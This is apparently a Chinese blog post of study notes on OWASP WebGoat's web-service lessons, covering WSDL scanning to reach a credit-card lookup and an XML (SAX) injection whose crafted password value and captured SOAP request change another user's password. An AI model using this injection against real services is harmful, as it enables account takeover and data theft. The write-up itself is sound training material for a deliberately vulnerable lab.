WSDL Scanning Web Service描述语言WSDL 就是用机器能阅读的方式提供的一个正式描述文档而基于XML的语言,用于描述Web Service及其函数、参数和返回值。因为是基于XML的,所以WSDL既是机器可阅读的,又是人可阅读的。 This screen is the API for a web service. Check the WSDL file for this web service and try to get some customer credit numbers. 这里显示的是一个Web services的API (Application Programming Interface,应用程序编程接口) 。检查此Web service服务的WSDL文件,并试图得到一些客户的信用卡号。 演示 可以看到这里面并没有直接读取用户信用卡号的选项 尝试提交下First Name可以成功getFirstName 我们先通过查看WSDL文件得知获得信用卡号的动作代码是getCreditCard |
SAX Simple API for XML(简称SAX)是个循序存取XML的解析器API。SAX提供一个机制从XML文件读取资料。它是除了文件物件模型(DOM)的另外一种流行选择。 一个实现SAX的解析器(也就是“SAX Parser”)以一个串流解析器的型式作用,拥有事件驱动API。由使用者定义回调函数,解析时,若发生事件的话会被调用。SAX事件包括: XML 文字 节点 XML 元素 节点 XML 处理指令 XML 注释 事件在任一XML特性遇到时引发,以及遇到他们结尾时再次引发。XML属性也作为传给元素事件资料的一部分。 SAX 处理时单方向性的;解析过的资料无法在不重新开始的情况下再次读取。 演示 web api在后台使用webservices。如果前端的Web服务依赖于所有的输入验证,它很可能会篡改XML的网络接口发送的信息 我们尝试一下 看看回馈信息 我们看到 而且我们可以看到输入的内容"password"是插入到 <password xsi:type='xsd:string'>后面 我们可以根据他的代码尝试写出SAX注入代码 里面包含了id以及密码 <id xsi:type='xsd:int'>101</id> <password xsi:type='xsd:string'>password</password> 组合起来是: </password><id xsi:type='xsd:int'>101</id><password xsi:type='xsd:string'>password 最后的password可以自定义 前面的101就是我们可以修改的ID了 输入要改的密码test123, 然后开启WebScarab抓包 这里是我们将要修改的数值 <?xml version='1.0' encoding='UTF-8'?> <wsns0:Envelope xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/' xmlns:wsns1='http://lessons.webgoat.owasp.org'> <wsns0:Body> <wsns1:changePassword> <id xsi:type='xsd:int'>101</id> <password xsi:type='xsd:string'>test123</password><id xsi:type='xsd:int'>119</id><password xsi:type='xsd:string'>test123</password> </wsns1:changePassword> </wsns0:Body> </wsns0:Envelope> You have changed the passsword for userid 119 to 'test123' 代码执行了 Webservices SQL injection 演示要求: 操作选择getCreditCard 并且刷新网页 |
Webgoat 笔记总结 Web Services II
原创
©著作权归作者所有:来自51CTO博客作者GeForever的原创作品,请联系作者获取转载授权,否则将追究法律责任
提问和评论都可以,用心的回复会被更多人看到
评论
发布评论
相关文章
-
Webgoat学习笔记
Webgoat学习笔记 We
Web github war包